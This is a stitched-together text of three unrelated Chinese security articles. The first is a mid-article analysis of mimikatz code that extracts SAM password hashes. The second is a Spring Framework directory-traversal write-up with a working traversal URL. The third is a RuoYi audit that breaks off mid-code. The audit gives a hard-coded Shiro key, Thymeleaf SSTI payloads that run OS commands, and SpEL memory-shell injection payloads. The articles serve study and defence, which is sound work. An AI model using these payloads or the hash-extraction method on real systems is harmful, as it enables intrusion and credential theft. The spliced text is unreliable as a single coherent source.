status = kull_m_registry_RegQueryValueEx(hRegistry, hSelect, kuhl_m_lsadump_CONTROLSET_SOURCES[i], NULL, NULL, (LPBYTE) &controlSet, &szNeeded);
}
随后就是定位到具体的巢室了，对应的函数为`kull_m_registry_searchKeyNamedInList`，这个函数做的操作只有一个，即遍历子键列表。
case 'hl':
pLfLh = (PKULL_M_REGISTRY_HIVE_LF_LH) pHbC;
for(i = 0 ; i < pLfLh->nbElements && !result; i++)
{
pKn = (PKULL_M_REGISTRY_HIVE_KEY_NAMED) (hRegistry->pHandleHive->pStartOf + pLfLh->elements[i].offsetNamedKey);
if(pKn->tag == 'kn')
{
if(pKn->flags & KULL_M_REGISTRY_HIVE_KEY_NAMED_FLAG_ASCII_NAME)
buffer = kull_m_string_qad_ansi_c_to_unicode((char *) pKn->keyName, pKn->szKeyName);
else if(buffer = (wchar_t *) LocalAlloc(LPTR, pKn->szKeyName + sizeof(wchar_t)))
RtlCopyMemory(buffer, pKn->keyName, pKn->szKeyName);
if(buffer)
{
if(_wcsicmp(lpSubKey, buffer) == 0)
result = pKn;
LocalFree(buffer);
}
}
}
break;
对应的，这里对子键列表巢室的描述如下：
typedef struct _KULL_M_REGISTRY_HIVE_LF_LH
{
LONG szCell;
WORD tag;
WORD nbElements;
KULL_M_REGISTRY_HIVE_LF_LH_ELEMENT elements[ANYSIZE_ARRAY];
} KULL_M_REGISTRY_HIVE_LF_LH, *PKULL_M_REGISTRY_HIVE_LF_LH;
成员简单但各自的作用都很明显，成员`elements`即我们想要遍历的子键列表，此外`nbElements`是子键列表的长度。
整个过程有点像遍历二叉树，从根节点开始到每个叶子节点，层层递进，知道定位到目标键巢室。这里值得注意的是从键巢室到键巢室，中间是通过子键列表巢室来查询的，即每个键巢室保存了一个指向其子键的列表的偏移，需要查询其子键时就通过这个列表获取对应子键的偏移最终达到定位的目的。
2、 `kull_m_registry_RegQueryInfoKey`，获取键值
打开对应的键之后（定位到对应的键巢室），就是查询相应的键值了，这里同样也有两种情况，即通过`RegQueryInfoKey`这个API直接查询，另一种情况是直接从hive文件获取。首先看如何获取hive文件中的内容，不过这部分操作实际就是从定位到的键巢室把数据拿出来写入到对应的传入的参数，对于键值的获取，则是通过`offsetClassName`成员定位的：
// kull_m_registry_RegQueryInfoKey
if(status = (*lpcClass > szInCar))
{
RtlCopyMemory(lpClass, &((PKULL_M_REGISTRY_HIVE_BIN_CELL) (hRegistry->pHandleHive->pStartOf + pKn->offsetClassName))->data , pKn->szClassName);
lpClass[szInCar] = L'\0';
}
// kull_m_registry_structures.h
typedef struct _KULL_M_REGISTRY_HIVE_BIN_CELL
{
LONG szCell;
union{
WORD tag;
BYTE data[ANYSIZE_ARRAY];
};
} KULL_M_REGISTRY_HIVE_BIN_CELL, *PKULL_M_REGISTRY_HIVE_BIN_CELL;
对于计算机名，存储在`HKLM\SYSTEM\ControlSet000\Current\Control\ComputerName\ComputerName`，通过regedit就可以直接查看到，当然代码中同样也是通过定位巢室来获取(最终都是调用`kull_m_registry_searchValueNameInList`获取对应的键值，和获取密钥的流程一致，只是这里不需要获取多个键值)。但是对于密钥来讲，笔者并未找到通过regedit直接查看的方法。
前面还提到了两个API，即`RegOpenKeyEx`和`RegQueryInfoKey`，在直接读取本地的计算机名和密钥时，直接使用这两个API就要方便的多。首先第一个函数的原型如下：
LONG RegOpenKeyEx(
HKEY hKey,
LPCWSTR lpSubKey,
DWORD ulOptions,
REGSAM samDesired,
PHKEY phkResult
);
对于第一个参数，一个打开的键或者以下的四个宏：
* HKEY_LOCAL_MACHINE
* HKEY_CLASSES_ROOT
* HKEY_CURRENT_USER
* HKEY_USERS
其实这四个宏刚好对应到用regedit打开注册表时看到的四个主键，函数执行成功后即打开一个键，返回一个句柄到`phkResilt`，这个句柄可以为下一次调用`RegOpenKeyEx`所使用。对于剩下的三个参数，需要对`samDesired`说明一下，在[msdn](https://docs.microsoft.com/en-us/previous-versions/aa912084\(v=msdn.10)解释是这个参数是保留参数，设置为0，但是mimikatz的代码中这里传递了一个`WinNT.h`中的宏：`KEY_READ`。
第二个函数原型如下：
LONG RegQueryInfoKey(
HKEY hKey,
LPWSTR lpClass,
LPDWORD lpcbClass,
LPDWORD lpReserved,
LPDWORD lpcSubKeys,
LPDWORD lpcbMaxSubKeyLen,
LPDWORD lpcbMaxClassLen,
LPDWORD lpcValues,
LPDWORD lpcbMaxValueNameLen,
LPDWORD lpcbMaxValueLen,
LPDWORD lpcbSecurityDescriptor,
PFILETIME lpftLastWriteTime
);
要达到查询键值的目的，这里重点关注前三个参数，其中`hKey`同`RegOpenKeyEx`，后面两个参数分别对应存储值的缓冲区以及值的大小。
### 获取用户名和用户哈希
解析完SYSTEM，接下来就是SAM了。同样的，首先是打开一个“句柄”，这里的操作和签名的操作完全一致。随后就是查询用户名和用户哈希，不过在这之前先查询了SID，过程和前面查询计算机名一致，只是这里路径换成了`HKLM\SAM\Domains\Account`，键名从`ComputerName`变成了`V`，这个可以通过regedit直接看到：
不过这里获取SID调用了一个API：`ConvertSidToStringSid`，传入的值即`V`对应的部分键值(其实从传入的参数可以大致猜出键值的组成即用户+sid，当然这里不是本文的重点):
kull_m_string_displaySID((PBYTE) data + szUser - (sizeof(SID) + sizeof(DWORD) * 3));
重点在于用户名及其对应的哈希的获取，大体的流程分三部分：
1、获取SamKey
2、获取用户名
3、获取用户哈希
首先是获取SamKey，它的值位于”HKLM\SAM\Domains\Account\F”，不过值本身是加密的，解密密钥是前面从system中获取的syskey，加密算法分两个版本（rc4和aes128），由具体的版本决定采用的加密算法，这里涉及两个结构体：
typedef struct _SAM_KEY_DATA {
DWORD Revision;
DWORD Length;
BYTE Salt[SAM_KEY_DATA_SALT_LENGTH];
BYTE Key[SAM_KEY_DATA_KEY_LENGTH];
BYTE CheckSum[MD5_DIGEST_LENGTH];
DWORD unk0;
DWORD unk1;
} SAM_KEY_DATA, *PSAM_KEY_DATA;
typedef struct _DOMAIN_ACCOUNT_F {
WORD Revision;
WORD unk0;
DWORD unk1;
OLD_LARGE_INTEGER CreationTime;
OLD_LARGE_INTEGER DomainModifiedCount;
OLD_LARGE_INTEGER MaxPasswordAge;
OLD_LARGE_INTEGER MinPasswordAge;
OLD_LARGE_INTEGER ForceLogoff;
OLD_LARGE_INTEGER LockoutDuration;
OLD_LARGE_INTEGER LockoutObservationWindow;
OLD_LARGE_INTEGER ModifiedCountAtLastPromotion;
DWORD NextRid;
DWORD PasswordProperties;
WORD MinPasswordLength;
WORD PasswordHistoryLength;
WORD LockoutThreshold;
DOMAIN_SERVER_ENABLE_STATE ServerState;
DOMAIN_SERVER_ROLE ServerRole;
BOOL UasCompatibilityRequired;
DWORD unk2;
SAM_KEY_DATA keys1;
SAM_KEY_DATA keys2;
DWORD unk3;
DWORD unk4;
} DOMAIN_ACCOUNT_F, *PDOMAIN_ACCOUNT_F;
先说`_DOMAIN_ACCOUNT_F`，成员`Revision`的值需为3，才能正确进入后后续的解密流程；成员`keys1`包含了samkey如`_SAM_KEY_DATA`所描述的内容。其他的成员在mimikatz的代码里似乎没有用到，而对于`_SAM_KEY_DATA`来说只适用于加密算法采用rc4的情况，此时对应的`Revision`为1，加密密钥是由成员`Salt`的值作为盐，并用syskey作为密钥采用md5摘要算法生成，然后对成员`Key`进行rc4解密:
MD5Init(&md5ctx);
MD5Update(&md5ctx, pDomAccF->keys1.Salt, SAM_KEY_DATA_SALT_LENGTH);
MD5Update(&md5ctx, kuhl_m_lsadump_qwertyuiopazxc, sizeof(kuhl_m_lsadump_qwertyuiopazxc));
MD5Update(&md5ctx, sysKey, SYSKEY_LENGTH);
MD5Update(&md5ctx, kuhl_m_lsadump_01234567890123, sizeof(kuhl_m_lsadump_01234567890123));
MD5Final(&md5ctx);
RtlCopyMemory(samKey, pDomAccF->keys1.Key, SAM_KEY_DATA_KEY_LENGTH);
if(!(status = NT_SUCCESS(RtlDecryptData2(&data, &key))))
采用aes128的时候对应的`Revision`为2，这时候`keys1`会被转换为`PSAM_KEY_DATA_AES`结构体类型，该结构体定义如下：
typedef struct _SAM_KEY_DATA_AES {
DWORD Revision; // 2
DWORD Length;
DWORD CheckLen;
DWORD DataLen;
BYTE Salt[SAM_KEY_DATA_SALT_LENGTH];
BYTE data[ANYSIZE_ARRAY]; // Data, then Check
} SAM_KEY_DATA_AES, *PSAM_KEY_DATA_AES;
从结构体成员看二者大差不差，加密流程来看Slat被用作AES加密的IV，syskey则是AES加密的密钥，最后密文即samkey在成员`data`中。解密部分代码如下：
if(kull_m_crypto_hkey(hProv, CALG_AES_128, pKey, 16, 0, &hKey, NULL))
{
if(CryptSetKeyParam(hKey, KP_MODE, (LPCBYTE) &mode, 0))
{
if(CryptSetKeyParam(hKey, KP_IV, (LPCBYTE) pIV, 0))
{
if(*pOut = LocalAlloc(LPTR, dwDataLen))
{
*dwOutLen = dwDataLen;
RtlCopyMemory(*pOut, pData, dwDataLen);
if(!(status = CryptDecrypt(hKey, 0, TRUE, 0, (PBYTE) *pOut, dwOutLen)))
获取到samkey之后的操作就是遍历`HKLM\SAM\Domains\Account\Users`，键值的获取和前面讨论的获取键值的流程一致，这里不再赘述，获取用户名和对应的哈希大体流程如下：
1、查询Users对应的键值，获取子键个数即用户的数量
2、遍历获取用户(Users下面的子键（RID）)
3、打开子键并获取键值(子键V的值)
4、解析获取到的键值并使用samKey解密数据得到用户哈希
关键看如何从键值中获取用户名以及对应的哈希，对于获取的数据mimikatz用以下结构体描述：
typedef struct _SAM_ENTRY {
DWORD offset;
DWORD lenght;
DWORD unk;
} SAM_ENTRY, *PSAM_SENTRY;
typedef struct _USER_ACCOUNT_V {
SAM_ENTRY unk0_header;
SAM_ENTRY Username;
SAM_ENTRY Fullname;
SAM_ENTRY Comment;
SAM_ENTRY UserComment;
SAM_ENTRY unk1;
SAM_ENTRY Homedir;
SAM_ENTRY HomedirConnect;
SAM_ENTRY ScriptPath;
SAM_ENTRY ProfilePath;
SAM_ENTRY Workstations;
SAM_ENTRY HoursAllowed;
SAM_ENTRY unk2;
SAM_ENTRY LMHash;
SAM_ENTRY NTLMHash;
SAM_ENTRY NTLMHistory;
SAM_ENTRY LMHistory;
BYTE datas[ANYSIZE_ARRAY];
} USER_ACCOUNT_V, *PUSER_ACCOUNT_V;
从结构体定义可以看出，我们想要获取的数据在成员datas中，其他成员主要记录了对应的值的长度以及在datas中的偏移，比如要获取用户名即`datas+Username->offset`。这里用户名是明文存储的，所以可以直接获取，但是对应的哈希是以密文的形式存储，解密密钥为前面获取的samKey，解密流程和解密samKey一致，只是在细节上有所差异：
1、采用rc4加密时，生成密钥这里用到了samKey、rid以及固定的字符串如`NTPASSWORDHISTORY`
2、采用aes128加密时，密钥换成了samKey，其他的于前面基本一致，只是这里描述加密数据的结构体有所变化：
typedef struct _SAM_HASH_AES {
WORD PEKID;
WORD Revision;
DWORD dataOffset;
BYTE Salt[SAM_KEY_DATA_SALT_LENGTH];
BYTE data[ANYSIZE_ARRAY]; // Data
} SAM_HASH_AES, *PSAM_HASH_AES;
此外，这里解密之后得到的数据依旧不是最终想要的哈希，这是和前面获取samKey最关键的不同之处：
kuhl_m_lsadump_dcsync_decrypt(cypheredHashBuffer.Buffer, cypheredHashBuffer.Length, rid, isNtlm ? (isHistory ? L"ntlm" : L"NTLM" ) : (isHistory ? L"lm " : L"LM "), isHistory);
这个函数内部实际上是调用了`cryptsp.dll`中的函数`SystemFunction027`，其实前面rc4解密调用的函数也是这个dll中的函数：`SystemFunction033`。简单看一下这里的解密操作：
KeysFromIndex(index, v6);
result = SystemFunction002(encData, v6, decData);
if ( (int)result >= 0 )
return SystemFunction002(encData + 8, v7, decData + 8);
return result;
其中，`KeysFromIndex`实际上就是根据传入的index生成一个用于解密的key，然后传递到`SystemFunction002`进行解密操作，`SystemFunction002`位于`cryptbase.dll`，实际上是DES解密：
__int64 __fastcall SystemFunction002(__int64 a1, __int64 a2, __int64 a3)
{
__int64 result; // rax
result = DES_ECB_LM(0i64, a2, a1, a3);
if ( (_DWORD)result )
return 3221225473i64;
return result;
}
这里其实有套娃的味道了，不过我们可以不用关心具体的解密流程，只需直接调用`SystemFunction027`就可以对数据进行解密进而获得用户哈希了。
在获取到用户的哈希之后还注意到一个函数：`kuhl_m_lsadump_getSupplementalCreds`，函数做的操作是获取RID对应的键的子键`SupplementalCreds`的数据，解析并解密获取对应用户的`SupplementalCredentials`属性，关于这个属性可参见[MSDN](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/0705f888-62e1-4a4c-bac0-b4d427f396f8?redirectedfrom=MSDN)
可以重点关注一下MSDN中给的表：
可以看到，这里面是包含了明文密码以及明文密码的哈希的，每个字段的格式在文档中也有说明，感兴趣的可以看看。在mimikatz的代码中，定义了两个结构体，一是描述加密后的数据：
typedef struct _KIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS {
DWORD unk0;
DWORD unkSize;
DWORD unk1; // flags ?
DWORD originalSize;
BYTE iv[LAZY_IV_SIZE];
BYTE encrypted[ANYSIZE_ARRAY];
} KIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS, *PKIWI_ENCRYPTED_SUPPLEMENTAL_CREDENTIALS;
和前面的其实如出一辙，解密密钥同样使用的是samKey，加密算法和解密用户哈希一样也是aes128。另一个结构体则是用来描述具体的SupplementalCredentials信息：
typedef struct _USER_PROPERTIES {
DWORD Reserved1;
DWORD Length;
USHORT Reserved2;
USHORT Reserved3;
BYTE Reserved4[96];
wchar_t PropertySignature;
USHORT PropertyCount;
USER_PROPERTY UserProperties[ANYSIZE_ARRAY];
} USER_PROPERTIES, *PUSER_PROPERTIES;
属性的签名为`P`，通过成员`PropertyCount`遍历成员`UserProperties`，需要注意的点是每个属性名是UTF-16编码的字符所以在mimikatz中定义了一个名为`UNICODE_STRING`的类型来描述对应的数据：
#define DECLARE_UNICODE_STRING(_var, _string) \
const WCHAR _var ## _buffer[] = _string; \
UNICODE_STRING _var = { sizeof(_string) - sizeof(WCHAR), sizeof(_string), (PWCH) _var ## _buffer }
此外，对于每个属性的描述用结构体`_USER_PROPERTY`
typedef struct _USER_PROPERTY {
USHORT NameLength;
USHORT ValueLength;
USHORT Reserved;
wchar_t PropertyName[ANYSIZE_ARRAY];
// PropertyValue in HEX !
} USER_PROPERTY, *PUSER_PROPERTY;
每轮遍历结束，寻找下一个属性名就加上NameLength和ValueLength，有点链表的意味，其实可以发现整个hive文件都是这样的形式，通过头记录对应的数据信息，同类型的数据通过大小来计算偏移，不同的数据类型就根据头中的偏移来定位。
每轮遍历首先做的是将属性值转换成hex的格式：
for(j = 0; j < szData; j++)
{
sscanf_s(&value[j*2], "%02x", &k);
data[j] = (BYTE) k;
}
随后就是判断属性的具体类型，支持的类型也即是前面提到的表中的类型定义为常量的形式：
DECLARE_CONST_UNICODE_STRING(PrimaryCleartext, L"Primary:CLEARTEXT");
DECLARE_CONST_UNICODE_STRING(PrimaryWDigest, L"Primary:WDigest");
DECLARE_CONST_UNICODE_STRING(PrimaryKerberos, L"Primary:Kerberos");
DECLARE_CONST_UNICODE_STRING(PrimaryKerberosNew, L"Primary:Kerberos-Newer-Keys");
DECLARE_CONST_UNICODE_STRING(PrimaryNtlmStrongNTOWF, L"Primary:NTLM-Strong-NTOWF");
DECLARE_CONST_UNICODE_STRING(Packages, L"Packages");
如果是`Primary:CLEARTEXT`就直接打印出明文的字符串，否则就打印出十六进制字符串，不过其余的属性都定义有有描述其结构的结构体，以`Primary:Kerberos`为例，描述它的有两个结构体：
typedef struct _KERB_KEY_DATA {
USHORT Reserverd1;
USHORT Reserverd2;
ULONG Reserverd3;
LONG KeyType;
ULONG KeyLength;
ULONG KeyOffset;
} KERB_KEY_DATA, *PKERB_KEY_DATA;
typedef struct _KERB_STORED_CREDENTIAL {
USHORT Revision;
USHORT Flags;
USHORT CredentialCount;
USHORT OldCredentialCount;
USHORT DefaultSaltLength;
USHORT DefaultSaltMaximumLength;
ULONG DefaultSaltOffset;
//KERB_KEY_DATA Credentials[ANYSIZE_ARRAY];
//KERB_KEY_DATA OldCredentials[ANYSIZE_ARRAY];
//BYTE DefaultSalt[ANYSIZE_ARRAY];
//BYTE KeyValues[ANYSIZE_ARRAY];
} KERB_STORED_CREDENTIAL, *PKERB_STORED_CREDENTIAL;
其中，`_KERB_STORED_CREDENTIAL`相当于该属性值的头，紧随其后的就是对应的值，即`_KERB_KEY_DATA`，它记录了对应属性保存的明文密码哈希值，不过需要注意的是其中的KeyOffset是相对于`_KERB_STORED_CREDENTIAL`的偏移，这部分对应的代码如下：
// kuhl_m_lsadump_dcsync_descrUserProperties
else if(RtlEqualUnicodeString(&PrimaryKerberos, &Name, TRUE))
{
pKerb = (PKERB_STORED_CREDENTIAL) data;
kprintf(L" Default Salt : %.*s\n", pKerb->DefaultSaltLength / sizeof(wchar_t), (PWSTR) ((PBYTE) pKerb + pKerb->DefaultSaltOffset));
pKeyData = (PKERB_KEY_DATA) ((PBYTE) pKerb + sizeof(KERB_STORED_CREDENTIAL));
pKeyData = kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->CredentialCount, L"Credentials");
kuhl_m_lsadump_lsa_keyDataInfo(pKerb, pKeyData, pKerb->OldCredentialCount, L"OldCredentials");
}
// kuhl_m_lsadump_lsa_keyDataInfo
PKERB_KEY_DATA kuhl_m_lsadump_lsa_keyDataInfo(PVOID base, PKERB_KEY_DATA keys, USHORT Count, PCWSTR title)
{
USHORT i;
if(Count)
{
if(title)
kprintf(L" %s\n", title);
for(i = 0; i < Count; i++)
{
kprintf(L" %s : ", kuhl_m_kerberos_ticket_etype(keys[i].KeyType));
kull_m_string_wprintf_hex((PBYTE) base + keys[i].KeyOffset, keys[i].KeyLength, 0);
kprintf(L"\n");
}
}
return (PKERB_KEY_DATA) ((PBYTE) keys + Count * sizeof(KERB_KEY_DATA));
}
其他属性的解析与此类似，相关的结构体可以在`mimikatz\modules\kuhl_m_lsadump.h`中找到，此处不再赘述。 | 社区文章 |
## 0x01 漏洞利用环境
web代码 <https://github.com/spring-projects/spring-mvc-showcase>
中间件 jetty
## 0x02 细节分析
这个漏洞存在下面几个限制条件
1. 要使用file协议打开资源文件目录
2. Windows平台
3. 不能使用Tomcat或者wildfy等中间件
漏洞是出在Spring Framework处理自定义静态文件的功能处。通过阅读官方手册得知，在Spring
Framework中有两种方式去定义资源文件。一种是配置XML文件，经常可以在Spring项目中看到如下配置
<mvc:resources mapping="/resources/**" location="/public, classpath:/static/" cache-period="31556926" />
另外一种方式就是通过重写`WebMvcConfigurer`中的`addResourceHandlers`方法来添加新的资源文件路径。其中使用`addResourceLocations`属性来设置资源文件内容时，它是支持http
file等协议的。例如如下代码
registry.addResourceHandler("/resources/**").addResourceLocations("http://www.resources.com/","/resources/");
其含义就是你在访问<http://www.xxx.com/resources/1.txt> 时，Spring会去寻找 www.resources.com
是否存在此文件。当然file也同理。我们使用spring自己提供的demo，只要`org.springframework.samples.mvc.config.WebMvcConfig`添加以下代码即可
registry.addResourceHandler("/resources/**").addResourceLocations("file:///D:/static/","/resources/");
当前漏洞环境在D盘，我在D盘根目录创建一个123.txt，通过下面的URL即可访问。 <http://127.0.0.1:8080/spring-mvc-showcase/resources/xxxx/..%5c/..%5c/..%5c/123.txt>
漏洞只能在windows上存在原因是因为`org/springframework/web/servlet/resource/ResourceHttpRequestHandler`中的`String
path = (String)
request.getAttribute(HandlerMapping.PATH_WITHIN_HANDLER_MAPPING_ATTRIBUTE);`会将URL中的`..%2f`去除,然后在Windows中能通过..\的方式来跳目录。然后不支持Tomcat的原因为在默认情况下Tomcat遇到包含%2f()
%5c(/)的URL直接http 400，若需要处理此类型的URL
则需要在tomcat配置文件中添加`Dorg.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH=true`
Spring Framework处理资源文件的整个流程如下图：
在经过一系列判断之后在`org/springframework/util/ResourceUtils`中的`getFile`方法读取了文件。值得注意的是在虽然在存在URL检查中存在如下代码
if (path.contains("WEB-INF") || path.contains("META-INF")) {
if (logger.isTraceEnabled()) {
logger.trace("Path contains \"WEB-INF\" or \"META-INF\".");
}
return true;
但是在Windows平台下是不会区分大小写的，所以还是可以读取配置文件。但是如何构造URL得看在配置资源文件中设置的location是在何处了。
官方修复方式是在`CheckResource`方法中添加了如下过滤
protected String processPath(String path) {
path = StringUtils.replace(path, "\\", "/");
path = cleanDuplicateSlashes(path);
return cleanLeadingSlash(path);
}
替换了\之后都成为了../ 自然就不能跨目录读文件了。
## 0x03 参考
<https://docs.spring.io/spring-framework/docs/5.0.4.RELEASE/spring-framework-reference/web.html#mvc-config-static-resources>
<https://pivotal.io/security/cve-2018-1271>
<https://threathunter.org/topic/5acc0902ec721b1f1966f582> | 社区文章 |
HKEcho@深蓝实验室重保天佑战队
# 前言
本文部分知识点来源于互联网，在此感谢各位师傅！新手上路，各位师傅多多指点。
# 一、项目简介
RuoYi 是一个 Java EE 企业级快速开发平台，基于经典技术组合（Spring Boot、Apache Shiro、MyBatis、Thymeleaf、Bootstrap），内置模块如：部门管理、角色用户、菜单及按钮授权、数据权限、系统参数、日志管理、通知公告等。在线定时任务配置；支持集群，支持多数据源，支持分布式事务。
**内置功能模块**
1. 用户管理：用户是系统操作者，该功能主要完成系统用户配置。
2. 部门管理：配置系统组织机构（公司、部门、小组），树结构展现支持数据权限。
3. 岗位管理：配置系统用户所属担任职务。
4. 菜单管理：配置系统菜单，操作权限，按钮权限标识等。
5. 角色管理：角色菜单权限分配、设置角色按机构进行数据范围权限划分。
6. 字典管理：对系统中经常使用的一些较为固定的数据进行维护。
7. 参数管理：对系统动态配置常用参数。
8. 通知公告：系统通知公告信息发布维护。
9. 操作日志：系统正常操作日志记录和查询；系统异常信息日志记录和查询。
10. 登录日志：系统登录日志记录查询包含登录异常。
11. 在线用户：当前系统中活跃用户状态监控。
12. 定时任务：在线（添加、修改、删除)任务调度包含执行结果日志。
13. 代码生成：前后端代码的生成（java、html、xml、sql）支持CRUD下载 。
14. 系统接口：根据业务代码自动生成相关的api接口文档。
15. 服务监控：监视当前系统CPU、内存、磁盘、堆栈等相关信息。
16. 缓存监控：对系统的缓存查询，删除、清空等操作。
17. 在线构建器：拖动表单元素生成相应的HTML代码。
18. 连接池监视：监视当前系统数据库连接池状态，可进行分析SQL找出系统性能瓶颈。
# 二、环境搭建
JDK >= 1.8 (推荐1.8版本)
Mysql >= 5.7.0 (推荐5.7版本)
Maven >= 3.0
若依后台管理系统V4.2
**1、导入数据库**
create datavase ry; 创建名为ry的数据库
use ry; 切换使用ry数据库
source C:/Users/27721/Desktop/RuoYi-v4.2/RuoYi-v4.2/sql/ry_20200323.sql
source C:/Users/27721/Desktop/RuoYi-v4.2/RuoYi-v4.2/sql/quartz.sql
**2、修改 src\main\resources\application-druid.yml 配置文件中数据库账号密码。**
# 三、漏洞挖掘之代码审计
## 1、第三方组件漏洞审计
本项目使用Maven构建的。因此我们直接看pom.xml文件引入了哪些组件。通过IDEA打
开该若依，发现本项目采用了多模块方式。因此每个模块下都会有一个pom.xml，项目
最外层的pom.xml为父POM。我们可以通过 pom.xml 或者 External Libraries 来
确定引入组件的版本，具体整理如下：
组件名称 | 组件版本 | 是否存在漏洞
---|---|---
shiro | 1.4.2 | 存在
thymeleaf | 2.0.0 | 存在
druid | 1.1.14 | 不存在
mybatis | 1.3.2 | 不存在
bitwalker | 1.19 | 不存在
kaptcha | 2.3.2 | 不存在
swagger | 2.9.2 | 不存在
pagehelper | 1.2.5 | 不存在
fastjson | 1.2.60 | 存在
oshi | 3.9.1 | 不存在
commons.io | 2.5 | 存在
commons.fileupload | 1.3.3 | 不存在
poi | 3.17 | 存在
velocity | 1.7 | 存在
snakeyaml | 1.23 | 存在
通过版本号进行初步判断后，我们还需再进一步验证。
### 1.1、从Shiro密钥硬编码到反序列化漏洞
**Shiro密钥硬编码**
通过查看pom.xml文件，我们了解到本套项目使用了Shiro组件。我们进一步查看Shiro配置文件时，发现了Shiro密钥硬编码写在了代码文件中。代码位于
RuoYi-v4.2\ruoyi-framework\src\main\java\com\ruoyi\framework\config\ShiroConfig.java
可以直接通过搜索关键字setCipherKey或CookieRememberMeManager，来看看密钥是否硬编码在了代码中，第331行。如下图所示：
**Shiro反序列化漏洞**
Apache
Shiro框架提供了记住我的功能（RememberMe），用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe，cookie的值是经过对相关信息进行序列化，然后使用aes加密，最后在使用base64编码处理形成的。在调用反序列化时未进行任何过滤，导致可以触发远程代码执行漏洞。
由于AES加解密的秘钥被硬编码在代码中，这意味着有权访问源代码的任何人都知道默认加密密钥是什么，因此，攻击者可以创建一个恶意对象并对其进行序列化，编码，然后将其作为cookie发送，然后Shiro将解码并反序列化，从而导致恶意代码执行。
通过查看pom.xml文件我们确定了Shiro版本为1.4.2。Shiro
1.4.2版本对于Shiro反序列化来说是个分水岭。由于CVE-2019-12422漏洞的出现，也就是Shiro Padding Oracle
Attack漏洞。Shiro在1.4.2版本开始，由AES-CBC加密模式改为了AES-GCM。所以我们在做漏洞验证时，要将payload改成AES-GCM加密模式。
**漏洞验证**
既然已经得到了密钥为“fCq+/xW488hMTCD+cmJ3aQ==”，那这里就直接用工具打一波试试啦，试不出来再审代码。
### 1.2、Thymeleaf组件漏洞
到Thymeleaf组件版本为 2.0.0 ，该版本存在SSTI（模板注入）漏洞。
关于什么是Thymeleaf，推荐学习这篇文章：
<https://waylau.gitbooks.io/thymeleaftutorial/content/docs/introduction.html>
**常用payload**
__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x
http://127.0.0.1:8080/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22whoami%22)%7D__::main.x
**1、打回显内存马**
<https://www.anquanke.com/post/id/198886>
<https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/>
两篇相关的文章，具体关键要素如下：
改良 SPEL 执行 Java 字节码的 Payload
解决BCEL/js引擎兼容性问题
解决base64在不同版本jdk的兼容问题
可多次运行同类名字节码
解决可能导致的ClassNotFound问题
最终 Payload ：
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}
**2、Spring 层内存马**
c0ny1师傅所写的内存马见<https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/#0x03-Spring%E5%B1%82%E5%86%85%E5%AD%98%E9%A9%AC>，大体的逻辑就是利用
HandlerMapping 注册一个映射关系，通过映射关系让 HandlerAdapter 执行到内存马，最后返回一个
HandlerResultHandler 可以处理的结果类型。c0ny1师傅的内存马中HandlerMapping
选用了RequestMappingHandlerMapping，然后RequestMappingHandlerMapping 的获取使用的方式是从 SPEL
的上下文的 bean 中获取，具体见文章内容。最终的结果就是得到了一个 @RequestMapping("/*") 等效的内存马。
但由于这道题里面并没有用 Spring cloud gateway 组件，所以原代码中利用
org.springframework.web.reactive.HandlerMapping 来注册 registerHandlerMethod
就会报错找不到对应的类。
**3、registerMapping 注册 registerMapping**
在 spring 4.0 及以后，可以使用 registerMapping 直接注册 requestMapping ，这是最直接的一种方式。
registerMapping 的原型函数如下
public void registerMapping(T mapping, Object handler, Method method) {
if (this.logger.isTraceEnabled()) {
this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());
}
this.mappingRegistry.register(mapping, handler, method);
}
将我们执行命令的方法注册进去即可，也就是：
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
#### 1.2.1、什么是SSTI（模板注入）漏洞
参考文章：<https://forum.butian.net/share/1922>
Server-Side Template Injection简称SSTI，也就是服务器端模板注入。
所谓的模板即为 模板引擎 。
本项目使用的Thymeleaf是众多模板引擎之一。还有其他Java常用的模板引擎，如：
velocity，freemarker，jade等等。
模板引擎（这里特指用于Web开发的模板引擎）是为了使用户界面与业务数据（内容）分离而产生的，它可以生成特定格式的文档，利用模板引擎来生成前端的html代码，模板引擎会提供一套生成html代码的程序，然后只需要获取用户的数据，然后放到渲染函数里，然后生成模板加上用户数据的前端html页面，然后反馈给浏览器，呈现在用户面前。
<https://www.mi1k7ea.com/2019/11/29/JavaSnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
模板注入（SSTI）漏洞成因，是因为服务端接收了用户的恶意输入以后，未经任何处理就将其作为 Web
应用模板内容的一部分，模板引擎在进行目标编译渲染的过程中，执行了用户插入的可以破坏模板的语句，因而可能导致了敏感信息泄露、代码执行、GetShell
等问题。
#### 1.2.2、Thymeleaf模板注入漏洞简介
Thymeleaf模板注入形成原因，简单来说，在Thymeleaf模板文件中使用th:fragment、 ， th:text
这类标签属性包含的内容会被渲染处理。并且在Thymeleaf渲染过程中使用 ${...} 或其他表达式中时内容会被Thymeleaf
EL引擎执行。因此我们将攻击语句插入到 ${...} 表达式中，会触发Thymeleaf模板注入漏洞。
如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。因为@ResponseBody 和
@RestController 不会进行View解析而是直接返回。所以这同样是修复方式。
#### 1.2.3、发现SSTI（模板注入）漏洞点
我们在审计模板注入（SSTI）漏洞时，主要查看所使用的模板引擎是否有接受用户输入的地方。主要关注xxxController层代码。
在Controller层，我们关注两点： 1、URL路径可控。 ， 2、return内容可控。
所谓可控，也就是接受输入。对应上面两个关注点，举例说明如下。
**1、URL路径可控**
@RequestMapping("/hello")
public class HelloController {
@RequestMapping("/whoami/{name}/{sex}")
